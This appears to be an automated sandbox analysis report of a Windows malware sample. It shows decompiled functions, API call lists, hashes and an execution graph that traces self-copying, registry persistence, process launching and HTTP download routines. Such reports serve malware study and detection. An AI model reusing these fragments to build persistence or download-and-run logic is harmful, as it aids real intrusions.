                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: ec95d775e6cfbd9a2590a832e9d92f0ddf2a25611b5a89fc2bc5adf97daf2ad9
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9530c240e4a3e352d19c5aeebbb657e3a3f3c72e1663e8e959b44b44f9a6eaee
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5811CB72104305AFC310CF66EC84AABB7ECEB88700F404D2AF545D2140EA7AE9499BB6
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040E4B0 Relevance: 6.0, APIs: 4, Instructions: 49networksleepCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 0040E4DC
                                                                                                                                                                                                                                                                                                                                                      • WSAGetLastError.WS2_32 ref: 0040E4E2
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(00000001), ref: 0040E4F8
                                                                                                                                                                                                                                                                                                                                                      • WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 0040E51A
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Send$ErrorLastSleep
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2121970615-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 5f517551bb5c92fce56a375ff5d2f568c741865976888976caf1bf6057433b79
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 7f5973983c38ff6c41bcb0c8cc8d4e55d77e86a6361b55f0f7183ce974a31385
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5f517551bb5c92fce56a375ff5d2f568c741865976888976caf1bf6057433b79
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6E0162712443047FE7308A96DC88F9B77ACDBC9715F10882AF608DA2C0D7B5A945DB7A
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040E170 Relevance: 6.0, APIs: 4, Instructions: 47COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E0040E170(void* __esi) {
				intOrPtr _t13;
				intOrPtr _t19;
				struct _CRITICAL_SECTION* _t21;
				void* _t22;
				intOrPtr _t23;
				void* _t24;

				_t22 = __esi;
				_t23 =  *((intOrPtr*)(_t24 + 0xc));
				_t21 = _t23 + 0x244;
				EnterCriticalSection(_t21);
				if(__esi == 0) {
					L9:
					LeaveCriticalSection(_t21);
					return 1;
				} else {
					if(InterlockedExchangeAdd(__esi + 0x14, 0) == 0) {
						_t13 =  *((intOrPtr*)(__esi + 0x38));
						_t19 =  *((intOrPtr*)(__esi + 0x34));
						if(_t13 != 0) {
							 *((intOrPtr*)(_t13 + 0x34)) = _t19;
						}
						if(_t19 == 0) {
							 *((intOrPtr*)(_t23 + 0x25c)) = _t13;
						} else {
							 *((intOrPtr*)(_t19 + 0x38)) = _t13;
						}
						E00408B60( *((intOrPtr*)(_t22 + 0x2c)));
						E00408B60(_t22);
						goto L9;
					} else {
						LeaveCriticalSection(_t21);
						return 0;
					}
				}
			}









                                                                                                                                                                                                                                                                                                                                                      0x0040e170
                                                                                                                                                                                                                                                                                                                                                      0x0040e172
                                                                                                                                                                                                                                                                                                                                                      0x0040e177
                                                                                                                                                                                                                                                                                                                                                      0x0040e180
                                                                                                                                                                                                                                                                                                                                                      0x0040e188
                                                                                                                                                                                                                                                                                                                                                      0x0040e1d7
                                                                                                                                                                                                                                                                                                                                                      0x0040e1d8
                                                                                                                                                                                                                                                                                                                                                      0x0040e1e3
                                                                                                                                                                                                                                                                                                                                                      0x0040e18a
                                                                                                                                                                                                                                                                                                                                                      0x0040e198
                                                                                                                                                                                                                                                                                                                                                      0x0040e1a9
                                                                                                                                                                                                                                                                                                                                                      0x0040e1ac
                                                                                                                                                                                                                                                                                                                                                      0x0040e1b1
                                                                                                                                                                                                                                                                                                                                                      0x0040e1b3
                                                                                                                                                                                                                                                                                                                                                      0x0040e1b3
                                                                                                                                                                                                                                                                                                                                                      0x0040e1b8
                                                                                                                                                                                                                                                                                                                                                      0x0040e1bf
                                                                                                                                                                                                                                                                                                                                                      0x0040e1ba
                                                                                                                                                                                                                                                                                                                                                      0x0040e1ba
                                                                                                                                                                                                                                                                                                                                                      0x0040e1ba
                                                                                                                                                                                                                                                                                                                                                      0x0040e1c9
                                                                                                                                                                                                                                                                                                                                                      0x0040e1cf
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e19a
                                                                                                                                                                                                                                                                                                                                                      0x0040e19d
                                                                                                                                                                                                                                                                                                                                                      0x0040e1a8
                                                                                                                                                                                                                                                                                                                                                      0x0040e1a8
                                                                                                                                                                                                                                                                                                                                                      0x0040e198

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(?,?,?,?,0040E23C,?,?), ref: 0040E180
                                                                                                                                                                                                                                                                                                                                                      • InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040E190
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(?,?,?,0040E23C,?,?), ref: 0040E19D
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(?,?,?,0040E23C,?,?), ref: 0040E1D8
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CriticalSection$Leave$EnterExchangeInterlocked
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2223660684-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: c9874fb6d9fb577f0698250319fea56f66a4ab3ec60cae6f6630c9a07f76bc5f
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 1a38f0e17db7eb758b10b49a703a570fb38b4efbf56ad3e1397e3e077cab9552
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c9874fb6d9fb577f0698250319fea56f66a4ab3ec60cae6f6630c9a07f76bc5f
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E501D4756422049FC3209F23ED44AEB73A8AB84711B04483EE846E7681CB39E452CB68
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040CB20 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 66%
                                                                                                                                                                                                                                                                                                                                                      			E0040CB20(char* _a4) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr* _v20;
				void* _v24;
				void* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _t44;
				intOrPtr* _t46;
				intOrPtr _t59;
				intOrPtr _t62;
				void* _t88;
				void* _t89;
				void* _t90;

				_v16 = 0;
				_t44 = E0040C150(_a4,  &_v8);
				_t89 = _t88 + 8;
				_v12 = _t44;
				if(_v12 != 0) {
					_t46 = E0040BEF0(_v12);
					_t90 = _t89 + 4;
					_v20 = _t46;
					if(_v20 != 0) {
						_v24 = 0;
						_push( &_v24);
						_push(_v20);
						if( *((intOrPtr*)( *((intOrPtr*)( *_v20 + 0xb4))))() == 0 && _v24 != 0) {
							_v28 = 0;
							_push( &_v28);
							_push(_v24);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x30))))() == 0 && _v28 != 0) {
								_t59 = E0040CAD0(_v28);
								_t90 = _t90 + 4;
								_v32 = _t59;
								if(_v32 != 0) {
									_t62 = E0040C9B0(_v28);
									_t90 = _t90 + 4;
									_v36 = _t62;
									if(_v36 != 0) {
										E0040B2D0( &_v16, "%S%S", _v32);
										_t90 = _t90 + 0x10;
										__imp__#6(_v36, _v36);
									}
									__imp__#6(_v32);
								}
								 *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
							}
							 *((intOrPtr*)( *((intOrPtr*)( *_v24 + 8))))(_v24);
						}
						 *((intOrPtr*)( *((intOrPtr*)( *_v20 + 8))))(_v20);
					}
					E00408B60(_v12);
				}
				return _v16;
			}


















                                                                                                                                                                                                                                                                                                                                                      0x0040cb26
                                                                                                                                                                                                                                                                                                                                                      0x0040cb35
                                                                                                                                                                                                                                                                                                                                                      0x0040cb3a
                                                                                                                                                                                                                                                                                                                                                      0x0040cb3d
                                                                                                                                                                                                                                                                                                                                                      0x0040cb44
                                                                                                                                                                                                                                                                                                                                                      0x0040cb4e
                                                                                                                                                                                                                                                                                                                                                      0x0040cb53
                                                                                                                                                                                                                                                                                                                                                      0x0040cb56
                                                                                                                                                                                                                                                                                                                                                      0x0040cb5d
                                                                                                                                                                                                                                                                                                                                                      0x0040cb63
                                                                                                                                                                                                                                                                                                                                                      0x0040cb6d
                                                                                                                                                                                                                                                                                                                                                      0x0040cb76
                                                                                                                                                                                                                                                                                                                                                      0x0040cb81
                                                                                                                                                                                                                                                                                                                                                      0x0040cb91
                                                                                                                                                                                                                                                                                                                                                      0x0040cb9b
                                                                                                                                                                                                                                                                                                                                                      0x0040cba4
                                                                                                                                                                                                                                                                                                                                                      0x0040cbac
                                                                                                                                                                                                                                                                                                                                                      0x0040cbb8
                                                                                                                                                                                                                                                                                                                                                      0x0040cbbd
                                                                                                                                                                                                                                                                                                                                                      0x0040cbc0
                                                                                                                                                                                                                                                                                                                                                      0x0040cbc7
                                                                                                                                                                                                                                                                                                                                                      0x0040cbcd
                                                                                                                                                                                                                                                                                                                                                      0x0040cbd2
                                                                                                                                                                                                                                                                                                                                                      0x0040cbd5
                                                                                                                                                                                                                                                                                                                                                      0x0040cbdc
                                                                                                                                                                                                                                                                                                                                                      0x0040cbef
                                                                                                                                                                                                                                                                                                                                                      0x0040cbf4
                                                                                                                                                                                                                                                                                                                                                      0x0040cbfb
                                                                                                                                                                                                                                                                                                                                                      0x0040cbfb
                                                                                                                                                                                                                                                                                                                                                      0x0040cc05
                                                                                                                                                                                                                                                                                                                                                      0x0040cc05
                                                                                                                                                                                                                                                                                                                                                      0x0040cc17
                                                                                                                                                                                                                                                                                                                                                      0x0040cc17
                                                                                                                                                                                                                                                                                                                                                      0x0040cc25
                                                                                                                                                                                                                                                                                                                                                      0x0040cc25
                                                                                                                                                                                                                                                                                                                                                      0x0040cc33
                                                                                                                                                                                                                                                                                                                                                      0x0040cc33
                                                                                                                                                                                                                                                                                                                                                      0x0040cc39
                                                                                                                                                                                                                                                                                                                                                      0x0040cc3e
                                                                                                                                                                                                                                                                                                                                                      0x0040cc47

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C150: memset.NTDLL ref: 0040C178
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C150: InternetCrackUrlA.WININET(0040CF69,00000000,10000000,0000003C), ref: 0040C1C8
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C150: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040C1D8
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C150: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040C211
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C150: HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040C247
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C150: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040C26F
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C150: InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040C2B8
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C150: InternetCloseHandle.WININET(00000000), ref: 0040C347
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BEF0: SysAllocString.OLEAUT32(00000000), ref: 0040BF1E
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BEF0: CoCreateInstance.OLE32(00410310,00000000,00004401,00410300,00000000), ref: 0040BF46
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BEF0: SysFreeString.OLEAUT32(00000000), ref: 0040BFE1
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 0040CBFB
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 0040CC05
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Internet$String$Free$HttpOpenRequest$AllocCloseConnectCrackCreateFileHandleInstanceReadSendmemset
                                                                                                                                                                                                                                                                                                                                                      • String ID: %S%S
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1017111014-3267608656
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: a38dea6bde2a6c1c3ef69bbee25404c47646d531d2cdb2c4a4f616ee4be6345b
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: ff1727bfbbf61b23510921857e77fc7ec71979587a2f3b7cb3b9c6c376518cb7
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a38dea6bde2a6c1c3ef69bbee25404c47646d531d2cdb2c4a4f616ee4be6345b
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B3413AB5D00109DFDB04DFA4C885AEFB7B5BF48304F108669E509B7391D738AA81CBA5
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Execution Graph

                                                                                                                                                                                                                                                                                                                                                      Execution Coverage:0.1%
                                                                                                                                                                                                                                                                                                                                                      Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                                                                                                                                                      Signature Coverage:0%
                                                                                                                                                                                                                                                                                                                                                      Total number of Nodes:1434
                                                                                                                                                                                                                                                                                                                                                      Total number of Limit Nodes:1
                                                                                                                                                                                                                                                                                                                                                      execution_graph 4291 405d80 Sleep CreateMutexA GetLastError 4292 405db6 ExitProcess 4291->4292 4293 405dbe GetModuleFileNameW PathFindFileNameW wsprintfW DeleteFileW ExpandEnvironmentStringsW 4291->4293 4294 405e49 4293->4294 4295 406136 Sleep RegOpenKeyExA 4294->4295 4342 40cfe0 GetLocaleInfoA 4294->4342 4297 406167 8 API calls 4295->4297 4298 40624d RegOpenKeyExA 4295->4298 4297->4298 4300 406273 8 API calls 4298->4300 4301 406359 Sleep 4298->4301 4300->4301 4349 40b0b0 4301->4349 4302 405ee0 ExitProcess 4303 405ee8 ExpandEnvironmentStringsW wsprintfW CopyFileW 4306 406015 Sleep wsprintfW CopyFileW 4303->4306 4307 405f3c SetFileAttributesW RegOpenKeyExW 4303->4307 4306->4295 4309 40605d SetFileAttributesW RegOpenKeyExW 4306->4309 4310 405f71 RegSetValueExW RegCloseKey 4307->4310 4311 405ff6 4307->4311 4308 406374 9 API calls 4352 404560 InitializeCriticalSection CreateFileW 4308->4352 4313 406092 RegSetValueExW RegCloseKey 4309->4313 4314 406117 4309->4314 4310->4311 4344 40d280 memset CreateProcessW 4311->4344 4313->4314 4317 40d280 5 API calls 4314->4317 4324 406123 4317->4324 4318 4064c0 4321 40600d ExitProcess 4324->4295 4326 40612e ExitProcess 4324->4326 4328 406429 CreateEventA 4384 40a7e0 4328->4384 4337 40ba90 17 API calls 4338 406489 4337->4338 4339 40ba90 17 API calls 4338->4339 4340 4064a5 4339->4340 4341 40ba90 17 API calls 4340->4341 4341->4318 4343 405ed8 4342->4343 4343->4302 4343->4303 4345 40d2e0 Sleep 4344->4345 4346 40d2ef ShellExecuteW 4344->4346 4347 406002 4345->4347 4346->4347 4348 40d315 Sleep 4346->4348 4347->4306 4347->4321 4348->4347 4429 40b080 4349->4429 4353 404685 4352->4353 4354 404598 CreateFileMappingW 4352->4354 4366 40cf10 CoInitializeEx 4353->4366 4355 4045b9 MapViewOfFile 4354->4355 4356 40467b CloseHandle 4354->4356 4357 404671 CloseHandle 4355->4357 4358 4045d8 GetFileSize 4355->4358 4356->4353 4357->4356 4360 4045ed 4358->4360 4359 404667 UnmapViewOfFile 4359->4357 4360->4359 4362 40462c 4360->4362 4365 4045fc 4360->4365 4558 40b100 4360->4558 4565 404450 4360->4565 4363 408b60 __aligned_recalloc_base 3 API calls 4362->4363 4363->4365 4365->4359 4802 40c470 socket 4366->4802 4370 406424 4379 405b10 CoInitializeEx SysAllocString 4370->4379 4371 40cf30 4371->4370 4372 40cf7a 4371->4372 4378 40cfb8 4371->4378 4812 40cb20 4371->4812 4827 409430 htons 4372->4827 4377 40ce90 24 API calls 4377->4378 4846 408c80 4378->4846 4380 405b32 4379->4380 4381 405b48 CoUninitialize 4379->4381 4991 405880 4380->4991 4381->4328 5000 40a7a0 4384->5000 4387 40a7a0 3 API calls 4388 40a7fe 4387->4388 4389 40a7a0 3 API calls 4388->4389 4390 40a80e 4389->4390 4391 40a7a0 3 API calls 4390->4391 4392 406441 4391->4392 4393 40b9e0 4392->4393 4394 4089f0 7 API calls 4393->4394 4395 40b9eb 4394->4395 4396 40644b 4395->4396 4397 40b9f7 InitializeCriticalSection 4395->4397 4398 409c30 InitializeCriticalSection 4396->4398 4397->4396 4403 409c4a 4398->4403 4399 409c79 CreateFileW 4401 409ca0 CreateFileMappingW 4399->4401 4402 409d62 4399->4402 4405 409cc1 MapViewOfFile 4401->4405 4406 409d58 CloseHandle 4401->4406 5044 409640 EnterCriticalSection 4402->5044 4403->4399 5007 40bd50 NtQuerySystemTime RtlTimeToSecondsSince1980 4403->5007 5008 409920 4403->5008 4409 409cdc GetFileSize 4405->4409 4410 409d4e CloseHandle 4405->4410 4406->4402 4408 409d67 4411 40ba90 17 API calls 4408->4411 4415 409cfb 4409->4415 4410->4406 4413 406455 4411->4413 4412 409d44 UnmapViewOfFile 4412->4410 4417 40ba90 4413->4417 4415->4412 4416 409920 28 API calls 4415->4416 5043 40bd50 NtQuerySystemTime RtlTimeToSecondsSince1980 4415->5043 4416->4415 4418 40baa7 EnterCriticalSection 4417->4418 4419 40646d 4417->4419 5067 40ba10 4418->5067 4419->4337 4422 40bb6b LeaveCriticalSection 4422->4419 4423 408a50 9 API calls 4424 40bae9 4423->4424 4424->4422 4425 40bafb CreateThread 4424->4425 4425->4422 4426 40bb1e 4425->4426 4427 40bb42 GetCurrentProcess GetCurrentProcess DuplicateHandle 4426->4427 4428 40bb64 4426->4428 4427->4428 4428->4422 4432 40b020 4429->4432 4433 40b053 4432->4433 4434 40b03e 4432->4434 4435 406369 4433->4435 4464 40ae50 4433->4464 4438 40acd0 4434->4438 4435->4308 4435->4318 4439 40ad82 4438->4439 4440 40acf9 4438->4440 4443 4089f0 7 API calls 4439->4443 4463 40ad7a 4439->4463 4440->4463 4498 4089f0 4440->4498 4444 40ada8 4443->4444 4446 401000 7 API calls 4444->4446 4444->4463 4448 40add5 4446->4448 4450 4011e0 10 API calls 4448->4450 4452 40adef 4450->4452 4451 40ad4f 4453 401000 7 API calls 4451->4453 4454 401000 7 API calls 4452->4454 4455 40ad60 4453->4455 4456 40ae00 4454->4456 4457 4011e0 10 API calls 4455->4457 4458 4011e0 10 API calls 4456->4458 4457->4463 4459 40ae1a 4458->4459 4460 401000 7 API calls 4459->4460 4461 40ae2b 4460->4461 4462 4011e0 10 API calls 4461->4462 4462->4463 4463->4435 4465 40ae79 4464->4465 4466 40af2a 4464->4466 4467 4089f0 7 API calls 4465->4467 4492 40af22 4465->4492 4469 4089f0 7 API calls 4466->4469 4466->4492 4468 40ae8f 4467->4468 4471 401000 7 API calls 4468->4471 4468->4492 4470 40af4e 4469->4470 4472 401000 7 API calls 4470->4472 4470->4492 4473 40aeb3 4471->4473 4475 40af72 4472->4475 4474 4089f0 7 API calls 4473->4474 4476 40aec2 4474->4476 4477 4089f0 7 API calls 4475->4477 4478 4011e0 10 API calls 4476->4478 4479 40af81 4477->4479 4480 40aeeb 4478->4480 4481 4011e0 10 API calls 4479->4481 4482 408b60 __aligned_recalloc_base 3 API calls 4480->4482 4483 40afaa 4481->4483 4484 40aef7 4482->4484 4485 408b60 __aligned_recalloc_base 3 API calls 4483->4485 4486 401000 7 API calls 4484->4486 4487 40afb6 4485->4487 4488 40af08 4486->4488 4489 401000 7 API calls 4487->4489 4490 4011e0 10 API calls 4488->4490 4491 40afc7 4489->4491 4490->4492 4493 4011e0 10 API calls 4491->4493 4492->4435 4494 40afe1 4493->4494 4495 401000 7 API calls 4494->4495 4496 40aff2 4495->4496 4497 4011e0 10 API calls 4496->4497 4497->4492 4509 408950 4498->4509 4501 401000 4530 408a10 4501->4530 4506 4011e0 4537 4010c0 4506->4537 4508 4011ff _invalid_parameter 4508->4451 4518 408740 GetCurrentProcessId 4509->4518 4511 40895b 4512 408967 __aligned_recalloc_base 4511->4512 4519 4088b0 4511->4519 4514 4089dc 4512->4514 4515 408982 HeapAlloc 4512->4515 4514->4463 4514->4501 4515->4514 4516 4089a9 __aligned_recalloc_base 4515->4516 4516->4514 4517 4089c4 memset 4516->4517 4517->4514 4518->4511 4527 408740 GetCurrentProcessId 4519->4527 4521 4088b9 4522 4088d6 HeapCreate 4521->4522 4528 408820 GetProcessHeaps 4521->4528 4524 4088f0 HeapSetInformation GetCurrentProcessId 4522->4524 4525 408917 4522->4525 4524->4525 4525->4512 4527->4521 4529 408851 4528->4529 4529->4522 4529->4525 4531 408950 __aligned_recalloc_base 7 API calls 4530->4531 4532 40100b 4531->4532 4533 401400 4532->4533 4534 40140a 4533->4534 4535 408a10 __aligned_recalloc_base 7 API calls 4534->4535 4536 401018 4535->4536 4536->4506 4538 40110e 4537->4538 4540 4010d1 4537->4540 4539 408a10 __aligned_recalloc_base 7 API calls 4538->4539 4538->4540 4543 401132 _invalid_parameter 4539->4543 4540->4508 4541 401162 memcpy 4542 401186 _invalid_parameter 4541->4542 4545 408b60 __aligned_recalloc_base 3 API calls 4542->4545 4543->4541 4547 408b60 4543->4547 4545->4540 4554 408740 GetCurrentProcessId 4547->4554 4549 408b6b 4550 40115f 4549->4550 4555 408760 4549->4555 4550->4541 4553 408b87 HeapFree 4553->4550 4554->4549 4556 408790 HeapValidate 4555->4556 4557 4087b0 4555->4557 4556->4557 4557->4550 4557->4553 4574 408bd0 4558->4574 4563 408b60 __aligned_recalloc_base 3 API calls 4564 40b141 4563->4564 4564->4360 4782 408a50 4565->4782 4568 408bd0 8 API calls 4569 4044bb 4568->4569 4792 40aa70 4569->4792 4571 404541 4571->4360 4575 408bfd 4574->4575 4576 408a10 __aligned_recalloc_base 7 API calls 4575->4576 4577 408c12 4575->4577 4578 408c14 memcpy 4575->4578 4576->4575 4577->4564 4579 40a610 4577->4579 4578->4575 4581 40a61c 4579->4581 4583 40a678 4581->4583 4585 408b60 __aligned_recalloc_base 3 API calls 4581->4585 4586 40a63b 4581->4586 4587 40ab60 4581->4587 4601 4064d0 4581->4601 4584 408b60 __aligned_recalloc_base 3 API calls 4583->4584 4584->4586 4585->4581 4586->4563 4586->4564 4589 40ab6f __aligned_recalloc_base 4587->4589 4588 40ab79 4588->4581 4589->4588 4590 408a10 __aligned_recalloc_base 7 API calls 4589->4590 4591 40ac08 4590->4591 4591->4588 4592 401000 7 API calls 4591->4592 4593 40ac1d 4592->4593 4594 401000 7 API calls 4593->4594 4595 40ac25 4594->4595 4597 40ac7d __aligned_recalloc_base 4595->4597 4604 40ab00 4595->4604 4609 401050 4597->4609 4600 401050 3 API calls 4600->4588 4717 4086c0 4601->4717 4605 4011e0 10 API calls 4604->4605 4606 40ab14 4605->4606 4615 4013e0 4606->4615 4608 40ab2c 4608->4595 4610 4010ae 4609->4610 4612 401064 _invalid_parameter 4609->4612 4610->4600 4611 408b60 __aligned_recalloc_base 3 API calls 4611->4610 4613 408b60 __aligned_recalloc_base 3 API calls 4612->4613 4614 40108c 4612->4614 4613->4614 4614->4611 4618 4012d0 4615->4618 4617 4013fa 4617->4608 4619 4012e4 4618->4619 4620 4010c0 __aligned_recalloc_base 10 API calls 4619->4620 4621 40132d 4620->4621 4622 4010c0 __aligned_recalloc_base 10 API calls 4621->4622 4623 40133d 4622->4623 4624 4010c0 __aligned_recalloc_base 10 API calls 4623->4624 4625 40134d 4624->4625 4626 4010c0 __aligned_recalloc_base 10 API calls 4625->4626 4627 40135d 4626->4627 4628 401366 4627->4628 4629 40138f 4627->4629 4633 402c20 4628->4633 4650 4029d0 4629->4650 4632 401387 _invalid_parameter 4632->4617 4634 401400 _invalid_parameter 7 API calls 4633->4634 4635 402c37 4634->4635 4636 401400 _invalid_parameter 7 API calls 4635->4636 4637 402c46 4636->4637 4638 401400 _invalid_parameter 7 API calls 4637->4638 4639 402c55 4638->4639 4640 401400 _invalid_parameter 7 API calls 4639->4640 4649 402c64 _invalid_parameter 4640->4649 4642 402e0f _invalid_parameter 4643 401430 _invalid_parameter 3 API calls 4642->4643 4644 402e35 _invalid_parameter 4642->4644 4643->4642 4645 401430 _invalid_parameter 3 API calls 4644->4645 4646 402e5b _invalid_parameter 4644->4646 4645->4644 4647 401430 _invalid_parameter 3 API calls 4646->4647 4648 402e81 4646->4648 4647->4646 4648->4632 4649->4642 4653 401430 4649->4653 4657 402e90 4650->4657 4652 4029ec 4652->4632 4654 401446 4653->4654 4655 40143b 4653->4655 4654->4649 4656 408b60 __aligned_recalloc_base 3 API calls 4655->4656 4656->4654 4658 402ea6 _invalid_parameter 4657->4658 4659 402edd 4658->4659 4661 402eb8 _invalid_parameter 4658->4661 4662 402f03 4658->4662 4687 402880 4659->4687 4661->4652 4663 402f3d 4662->4663 4664 402f5e 4662->4664 4697 402a00 4663->4697 4666 401400 _invalid_parameter 7 API calls 4664->4666 4667 402f6f 4666->4667 4668 401400 _invalid_parameter 7 API calls 4667->4668 4669 402f7e 4668->4669 4670 401400 _invalid_parameter 7 API calls 4669->4670 4671 402f8d 4670->4671 4672 401400 _invalid_parameter 7 API calls 4671->4672 4673 402f9c 4672->4673 4710 402950 4673->4710 4675 401400 _invalid_parameter 7 API calls 4676 402fca _invalid_parameter 4675->4676 4676->4675 4678 403084 _invalid_parameter 4676->4678 4677 401430 _invalid_parameter 3 API calls 4677->4678 4678->4677 4679 4033a3 _invalid_parameter 4678->4679 